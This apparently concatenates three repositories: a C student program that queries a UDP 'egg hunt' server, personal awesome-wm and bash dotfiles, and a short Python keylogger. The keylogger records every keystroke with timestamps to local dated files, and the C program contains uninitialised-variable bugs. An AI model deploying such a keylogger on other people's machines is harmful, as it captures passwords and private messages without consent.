d7523dcb25dac32ae23812fac31f5aa9891b81d1
[ "Markdown", "C" ]
3
C
agrove25/CS152A
56c47b025bae0aefc76e1b535a3469dfb0e1f0d0
deae1e15185d91d5598129cad3f6b8ffe5a24f05
refs/heads/master
<repo_name>JustinDevB/EggHunt<file_sep>/README.md # EggHunt Project Requirements: The Great Spring 2019 CS473 Easter Egg Hunt aka Assignment #7 ------------------------------------------------------------- Running on the effie.indstate.edu is an egg server running on your CS473 port that holds a 1K by 1K virtual field of spaces in which are hidden 10 virtual Easter Eggs. The server accept internet data-gram messages in the form: "look x,y" where x and y are integer numbers in the range 0 to 1023 inclusive. Because you are searching frantically for eggs you may only receive a message back from the server one quarter of the time, thus it is pointless to wait for the server to reply before moving on to the next search location. The messages sent to you from the egg server are in the form: "x,y: Found one!" or "x,y: No egg." Where x,y are the integer coordinates of a location that you searched. There are only 10 eggs in total, so you may stop searching when you have discovered the location of all 10. You must now write a program called hunt.c that will send the look messages to the egg server and search for the 10 eggs as quickly as possible. Your program should probably use epoll to check for when to read/write data-grams on the socket for maximum search speed. To parse the received message I would probably recommend using sscanf(). Your program should output a list of the coordinates of the 10 eggs you discovered when it has discovered them all (it may do this as it finds them), then exit. <file_sep>/EggHunt.c #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <errno.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/un.h> #include <sys/wait.h> #include <sys/stat.h> #include <fcntl.h> #include <netdb.h> #include <sys/epoll.h> #include <string.h> #define PORT 47308 #define K 1024 int watch(int epfd, int fd) { struct epoll_event e; e.events = EPOLLIN | EPOLLRDHUP | EPOLLOUT; e.data.fd = fd; if (epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &e) < 0) { perror("epoll_ctl"); exit(1); } return 0; } int main(int argc, char *argv[]) { int r =0, n; int eggs = 0; struct epoll_event ev[2]; char str[20]; int coordsX, coordsY; char buf[K]; char phrase[20]; int coords[K][K]; int sock = socket(AF_INET, SOCK_DGRAM, 0); int epfd; if ((epfd = epoll_create(1)) < 0) { perror("epoll-create"); exit(0); } struct sockaddr_in addr; addr.sin_family = AF_INET; addr.sin_port = htons(PORT); struct hostent *he = gethostbyname("effie.indstate.edu"); if (he == NULL) { herror("gethostbyname"); exit(2); } memcpy(&(addr.sin_addr.s_addr), (he->h_addr_list[0]), he->h_length); if (connect(sock, (struct sockaddr *) &addr, sizeof (struct sockaddr_in)) < 0) { perror("connect"); exit(3); } watch(epfd, sock); while (eggs != 10) { if (n < 0) { perror("epoll_wait"); continue; } for (int j = 0; j < K; j++) { for (int k = 0; k < K; k++) { n = epoll_wait(epfd, ev, 2, -1); for (int i = 0; i < n; i++) { if (ev[i].events & (EPOLLRDHUP | EPOLLERR | EPOLLHUP)) { printf("error\n"); eggs = 10; break; } if (coords[j][k] != 1) { sprintf(str, "look %d,%d", j, k); sendto(sock, str, strlen(str), 0, (struct sockaddr *) &addr, sizeof(struct sockaddr_in)); if (ev[i].events & EPOLLIN) { r = read(sock, buf, K); sscanf(buf, "%d,%d: %s", &coordsX, &coordsY, phrase); coords[coordsX][coordsY] = 1; strcpy(buf, ""); if (strcmp(phrase, "Found") == 0) { printf("Found: %d, %d\n", coordsX, coordsY); eggs++; } else if (strcmp(phrase, "No") == 0) coords[coordsX][coordsY] = 1; } } } } } } }
c13e4a27090e94eec9f265db3a633c5e16ad4eb2
[ "Markdown", "C" ]
2
Markdown
JustinDevB/EggHunt
cdd09c04e417b1d53aecd0b7807b1abdf1f6e3bb
43d0bc0f8211db74cfd648160fea871fa001e602
refs/heads/master
<repo_name>arcalyth/dotfiles<file_sep>/awesome/rc.lua -- vim: filetype=lua -- Standard awesome library local gears = require("gears") local awful = require("awful") awful.rules = require("awful.rules") require("awful.autofocus") -- Widget and layout library local wibox = require("wibox") local vicious = require("vicious") -- Theme handling library local beautiful = require("beautiful") -- Notification library local naughty = require("naughty") local menubar = require("menubar") -- {{{ Variable definitions -- Themes define colours, icons, and wallpapers beautiful.init("/home/kristophori/.config/awesome/themes/arcane/theme.lua") -- This is used later as the default terminal and editor to run. terminal = "urxvt" editor = "vim" editor_cmd = terminal .. " -e " .. editor -- Default modkey. modkey = "Mod4" -- Table of layouts to cover with awful.layout.inc, order matters. local layouts = { awful.layout.suit.tile, awful.layout.suit.tile.bottom, } -- }}} -- {{{ Wallpaper if beautiful.wallpaper then for s = 1, screen.count() do gears.wallpaper.maximized(beautiful.wallpaper, s, false) -- gears.wallpaper.centered(beautiful.wallpaper, s, gears.color.parse_color("#ffffff")) end if screen.count() > 1 then gears.wallpaper.centered("/home/kristophori/media/backgrounds/wallpaper-1496401-inverted.jpg", 2, gears.color.parse_color("#000000")) end end -- }}} function generate_tag(screen) symbols = { 'Ɣ', 'ʘ', 'Δ', 'δ', 'Γ', 'Ψ', 'Ω', 'ζ', 'μ', 'σ', 'Ϟ', 'Ϡ', 'ϡ', 'Ϩ', 'Ю', 'ֆ', 'ջ', 'چ', 'ڤ', 'ڿ', '5', '3', '6', '9', '~', '!', '@', '#', '$', '%', '&', '*', '+', '=', '?' , ':)', ':(', ':P', ';)', '^_^', '][', '>_<', '>_>', '::', 'oo' } n = math.random(#symbols) tag = awful.tag.add(symbols[n], {}) awful.layout.set(layouts[1], tag) awful.tag.setscreen(tag, screen) awful.layout.arrange(screen) return tag end -- {{{ Tags -- Define a tag table which hold all screen tags. tags = {} for s = 1, screen.count() do -- Each screen has its own tag table. -- Ɣ ʘ Δ δ Γ Ψ Ω ζ μ σ Ϟ Ϡ ϡ Ϩ Ю ֆ ջ چ ڤ ڿ -- need a way to make tags generate themselves with these symbols -- dynamically, on the fly -- -- apparently this is how WMII handles it -- look into a modular config? tags[s] = awful.tag({}, s, layouts[1]) tag = generate_tag(s) awful.tag.viewonly(tag) end -- }}} -- Menubar configuration menubar.utils.terminal = terminal -- Set the terminal for applications that require it -- }}} -- Widget definitions -- wiboxes topWibox = {} bottomWibox = {} -- prompt cmdPrompt = {} -- layout box --layoutbox = {} -- clock clock = {} -- mpd mpdStatus = {} -- battery batMeter = {} -- tag list tagList = {} tagList.buttons = awful.util.table.join( awful.button({ }, 1, awful.tag.viewonly), awful.button({ modkey }, 1, awful.client.movetotag), awful.button({ }, 3, awful.tag.viewtoggle), awful.button({ modkey }, 3, awful.client.toggletag), awful.button({ }, 4, function(t) awful.tag.viewnext(awful.tag.getscreen(t)) end), awful.button({ }, 5, function(t) awful.tag.viewprev(awful.tag.getscreen(t)) end) ) -- task list taskList = {} taskList.buttons = awful.util.table.join( awful.button({ }, 1, function (c) if c == client.focus then c.minimized = true else -- Without this, the following -- :isvisible() makes no sense c.minimized = false if not c:isvisible() then awful.tag.viewonly(c:tags()[1]) end -- This will also un-minimize -- the client, if needed client.focus = c c:raise() end end), awful.button({ }, 3, function () if instance then instance:hide() instance = nil else instance = awful.menu.clients({ width=250 }) end end), awful.button({ }, 4, function () awful.client.focus.byidx(1) if client.focus then client.focus:raise() end end), awful.button({ }, 5, function () awful.client.focus.byidx(-1) if client.focus then client.focus:raise() end end)) -- Create the wiboxes for each screen for s = 1, screen.count() do -- Create a promptbox for each screen cmdPrompt[s] = awful.widget.prompt() -- Create a taglist widget tagList[s] = awful.widget.taglist(s, awful.widget.taglist.filter.all, tagList.buttons) -- Create a tasklist widget taskList[s] = awful.widget.tasklist(s, awful.widget.tasklist.filter.currenttags, taskList.buttons) mpdStatus[s] = wibox.widget.textbox() vicious.register(mpdStatus[s], vicious.widgets.mpd, function (widget, args) if (args["{state}"] == "Stop") then return "d(-_-)b" else return "d(^_^)b [" .. args["{Artist}"] .. " - " .. args["{Title}"] .. "]" end end, 10) batMeter[s] = wibox.widget.textbox() vicious.register(batMeter[s], vicious.widgets.bat, "$1pwr $2% // ", 61, "BAT0") clock[s] = awful.widget.textclock("%a %H:%M [%F]") -- Create the wibox topWibox[s] = awful.wibox({ position = "top", screen = s }) -- Widgets that are aligned to the left local left_layout = wibox.layout.fixed.horizontal() left_layout:add(tagList[s]) left_layout:add(cmdPrompt[s]) -- Widgets that are aligned to the right local right_layout = wibox.layout.fixed.horizontal() if s == 1 then right_layout:add(wibox.widget.systray()) end -- Now bring it all together (with the tasklist in the middle) local layout = wibox.layout.align.horizontal() layout:set_left(left_layout) layout:set_middle(taskList[s]) layout:set_right(right_layout) topWibox[s]:set_widget(layout) -- bottom bottomWibox[s] = awful.wibox({ position = "bottom", screen = s}) local bl_layout = wibox.layout.fixed.horizontal() bl_layout:add(mpdStatus[s]) local br_layout = wibox.layout.fixed.horizontal() br_layout:add(batMeter[s]) br_layout:add(clock[s]) local bLayout = wibox.layout.align.horizontal() bLayout:set_left(bl_layout) bLayout:set_right(br_layout) bottomWibox[s]:set_widget(bLayout) end -- }}} -- {{{ Mouse bindings root.buttons(awful.util.table.join( awful.button({ }, 3, function () mymainmenu:toggle() end), awful.button({ }, 4, awful.tag.viewnext), awful.button({ }, 5, awful.tag.viewprev) )) -- }}} -- {{{ Key bindings globalkeys = awful.util.table.join( awful.key({ modkey, }, "Up", function () local screen = mouse.screen generate_tag(screen) end), awful.key({ modkey, }, "Down", function () awful.tag.delete() end), awful.key({ modkey, }, "Left", awful.tag.viewprev ), awful.key({ modkey, }, "Right", awful.tag.viewnext ), awful.key({ modkey, }, "Escape", awful.tag.history.restore), awful.key({ modkey, }, "j", function () awful.client.focus.byidx( 1) if client.focus then client.focus:raise() end end), awful.key({ modkey, }, "k", function () awful.client.focus.byidx(-1) if client.focus then client.focus:raise() end end), awful.key({ modkey, }, "w", function () mymainmenu:show() end), -- Layout manipulation awful.key({ modkey, "Shift" }, "j", function () awful.client.swap.byidx( 1) end), awful.key({ modkey, "Shift" }, "k", function () awful.client.swap.byidx( -1) end), awful.key({ modkey, "Control" }, "j", function () awful.screen.focus_relative( 1) end), awful.key({ modkey, "Control" }, "k", function () awful.screen.focus_relative(-1) end), awful.key({ modkey, }, "u", awful.client.urgent.jumpto), awful.key({ modkey, }, "Tab", function () awful.client.focus.history.previous() if client.focus then client.focus:raise() end end), -- Standard program awful.key({ modkey, }, "Return", function () awful.util.spawn(terminal) end), awful.key({ modkey, "Control" }, "r", awesome.restart), awful.key({ modkey, "Shift" }, "q", awesome.quit), awful.key({ modkey, }, "l", function () awful.tag.incmwfact( 0.05) end), awful.key({ modkey, }, "h", function () awful.tag.incmwfact(-0.05) end), awful.key({ modkey, "Shift" }, "h", function () awful.tag.incnmaster( 1) end), awful.key({ modkey, "Shift" }, "l", function () awful.tag.incnmaster(-1) end), awful.key({ modkey, "Control" }, "h", function () awful.tag.incncol( 1) end), awful.key({ modkey, "Control" }, "l", function () awful.tag.incncol(-1) end), awful.key({ modkey, }, "space", function () awful.layout.inc(layouts, 1) end), awful.key({ modkey, "Shift" }, "space", function () awful.layout.inc(layouts, -1) end), awful.key({ modkey, "Control" }, "n", awful.client.restore), -- Prompt awful.key({ modkey }, "r", function () cmdPrompt[mouse.screen]:run() end), awful.key({ modkey }, "x", function () awful.prompt.run({ prompt = "Run Lua code: " }, cmdPrompt[mouse.screen].widget, awful.util.eval, nil, awful.util.getdir("cache") .. "/history_eval") end), -- Menubar awful.key({ modkey }, "p", function() menubar.show() end) ) clientkeys = awful.util.table.join( awful.key({ modkey, }, "f", function (c) c.fullscreen = not c.fullscreen end), awful.key({ modkey, "Shift" }, "c", function (c) c:kill() end), awful.key({ modkey, "Control" }, "space", awful.client.floating.toggle ), awful.key({ modkey, "Control" }, "Return", function (c) c:swap(awful.client.getmaster()) end), awful.key({ modkey, }, "o", awful.client.movetoscreen ), awful.key({ modkey, }, "t", function (c) c.ontop = not c.ontop end), awful.key({ modkey, }, "n", function (c) -- The client currently has the input focus, so it cannot be -- minimized, since minimized clients can't have the focus. c.minimized = true end), awful.key({ modkey, }, "m", function (c) c.maximized_horizontal = not c.maximized_horizontal c.maximized_vertical = not c.maximized_vertical end) ) -- Compute the maximum number of digit we need, limited to 9 keynumber = 0 for s = 1, screen.count() do keynumber = math.min(9, math.max(#tags[s], keynumber)) end -- Bind all key numbers to tags. -- Be careful: we use keycodes to make it works on any keyboard layout. -- This should map on the top row of your keyboard, usually 1 to 9. for i = 1, keynumber do globalkeys = awful.util.table.join(globalkeys, awful.key({ modkey }, "#" .. i + 9, function () local screen = mouse.screen if tags[screen][i] then awful.tag.viewonly(tags[screen][i]) end end), awful.key({ modkey, "Control" }, "#" .. i + 9, function () local screen = mouse.screen if tags[screen][i] then awful.tag.viewtoggle(tags[screen][i]) end end), awful.key({ modkey, "Shift" }, "#" .. i + 9, function () if client.focus and tags[client.focus.screen][i] then awful.client.movetotag(tags[client.focus.screen][i]) end end), awful.key({ modkey, "Control", "Shift" }, "#" .. i + 9, function () if client.focus and tags[client.focus.screen][i] then awful.client.toggletag(tags[client.focus.screen][i]) end end)) end clientbuttons = awful.util.table.join( awful.button({ }, 1, function (c) client.focus = c; c:raise() end), awful.button({ modkey }, 1, awful.mouse.client.move), awful.button({ modkey }, 3, awful.mouse.client.resize)) -- Set keys root.keys(globalkeys) -- }}} -- {{{ Rules awful.rules.rules = { -- All clients will match this rule. { rule = { }, properties = { border_width = beautiful.border_width, border_color = beautiful.border_normal, focus = awful.client.focus.filter, keys = clientkeys, buttons = clientbuttons, size_hints_honor = false } }, { rule = { class = "MPlayer" }, properties = { floating = true } }, { rule = { class = "pinentry" }, properties = { floating = true } }, { rule = { class = "gimp" }, properties = { floating = true } }, -- Set Firefox to always map on tags number 2 of screen 1. -- { rule = { class = "Firefox" }, -- properties = { tag = tags[1][2] } }, } -- }}} -- {{{ Signals -- Signal function to execute when a new client appears. client.connect_signal("manage", function (c, startup) -- Enable sloppy focus c:connect_signal("mouse::enter", function(c) if awful.layout.get(c.screen) ~= awful.layout.suit.magnifier and awful.client.focus.filter(c) then client.focus = c end end) if not startup then -- Set the windows at the slave, -- i.e. put it at the end of others instead of setting it master. awful.client.setslave(c) -- Put windows in a smart way, only if they does not set an initial position. if not c.size_hints.user_position and not c.size_hints.program_position then awful.placement.no_overlap(c) awful.placement.no_offscreen(c) end end local titlebars_enabled = false if titlebars_enabled and (c.type == "normal" or c.type == "dialog") then -- Widgets that are aligned to the left local left_layout = wibox.layout.fixed.horizontal() left_layout:add(awful.titlebar.widget.iconwidget(c)) -- Widgets that are aligned to the right local right_layout = wibox.layout.fixed.horizontal() right_layout:add(awful.titlebar.widget.floatingbutton(c)) right_layout:add(awful.titlebar.widget.maximizedbutton(c)) right_layout:add(awful.titlebar.widget.stickybutton(c)) right_layout:add(awful.titlebar.widget.ontopbutton(c)) right_layout:add(awful.titlebar.widget.closebutton(c)) -- The title goes in the middle local title = awful.titlebar.widget.titlewidget(c) title:buttons(awful.util.table.join( awful.button({ }, 1, function() client.focus = c c:raise() awful.mouse.client.move(c) end), awful.button({ }, 3, function() client.focus = c c:raise() awful.mouse.client.resize(c) end) )) -- Now bring it all together local layout = wibox.layout.align.horizontal() layout:set_left(left_layout) layout:set_right(right_layout) layout:set_middle(title) awful.titlebar(c):set_widget(layout) end end) client.connect_signal("focus", function(c) c.border_color = beautiful.border_focus end) client.connect_signal("unfocus", function(c) c.border_color = beautiful.border_normal end) -- }}} <file_sep>/.bashrc # # ~/.bashrc # # If not running interactively, don't do anything [[ $- != *i* ]] && return # == remap aliases == # - sudo convenience - alias poweroff='systemctl poweroff' alias reboot='systemctl reboot' # - general remaps - alias vi='vim' alias view='vim -R' alias ls='ls --color=auto' alias irssi='irssi-notify & irssi' alias n='ncmpcpp' alias a='alsamixer' alias cmatrix='cmatrix -axu5 -C cyan' alias s='systemctl suspend' # == convenience/extension aliases == # - awesome wm conf stuff - alias awconf='vim ~/.config/awesome/rc.lua.test' alias awclone='cp ~/.config/awesome/rc.lua ~/.config/awesome/rc.lua.test' alias awmerge='cp ~/.config/awesome/rc.lua.test ~/.config/awesome/rc.lua' # keyboard layout shit alias qwerty='setxkbmap us' alias qwfpgj='setxkbmap us' alias colemak='setxkbmap us -variant colemak' # - quick navigation - alias aur='cd /usr/local/aur/' alias gawconf='cd ~/.config/awesome/' # - not really programs - alias fclear='clear; fortune -ao' alias pacman-mirrors='sudo reflector -l 5 -c "United States" --sort rate --save /etc/pacman.d/mirrorlist && cat /etc/pacman.d/mirrorlist' alias life='vim ~/life/life-plan' # = functions = # rot13() - credit: portix # http://bbs.archlinux.org/viewtopic.php?pid=564656#p564656 rot13() { echo "$@" | tr 'a-zA-Z' 'n-za-mN-ZA-M'; } # inline shell math :) calc() { echo "$@" | bc -l; } alias math='calc'; # dictionary definition fetcher define() { if [ -n "$1" ]; then w3m -dump "http://freedictionary.org/?Query=$1" | grep -i3 "$1" | tail -n+8 | sed ':a;N;$!ba;s/\n\n/\n/g' | head else echo "usage: define <word>" fi } # down for everyone, or just me? isup() { if [ -n "$1" ]; then w3m -dump "http://downforeveryoneorjustme.com/$1" | head -n1 else echo "usage: isup <url>" fi } # == environment == eval $(dircolors -b ~/.dircolors) export PS1='[\w]\$ ' export PATH=$PATH:"~/bin" export EDITOR='vim' # == final execution == fortune -ao
345db33659ba9751607c8a30d85b5ceb1b0fec61
[ "Shell", "Lua" ]
2
Lua
arcalyth/dotfiles
d818d2579113d7e82d52586c7c8f46e2022e36c3
5e66b0aa3ef487687b60175d6ba3b82763998b30
refs/heads/main
<file_sep># Simple keylogger A simple keylogger made in python. Works with windows and linux. # Execution ``` python3 main.py ```<file_sep>from pynput.keyboard import Key, Listener import datetime, os def on_press(key): now = datetime.datetime.now() date = now.day month = now.month year = now.year with open("records/{} {} {}.txt".format(date,month,year), mode="a") as f: line = "{} {}\n".format(now.strftime("%d/%m/%Y - %H:%M:%S"),str(key)) f.write(line) def main(): directory = 'records' if not os.path.exists(directory): os.makedirs(directory) with Listener( on_press=on_press) as listener: listener.join() if __name__ == "__main__": main()
de1aa15a45794dda0f395aa9b6ec7e68a07a1021
[ "Markdown", "Python" ]
2
Markdown
algozxd123/Simple-Keylogger
88790f3c6e8294dae5d69e8459a6bedebd651c4a
f6a8985364cc1b7bd1c7b6b418d8f6f416653be8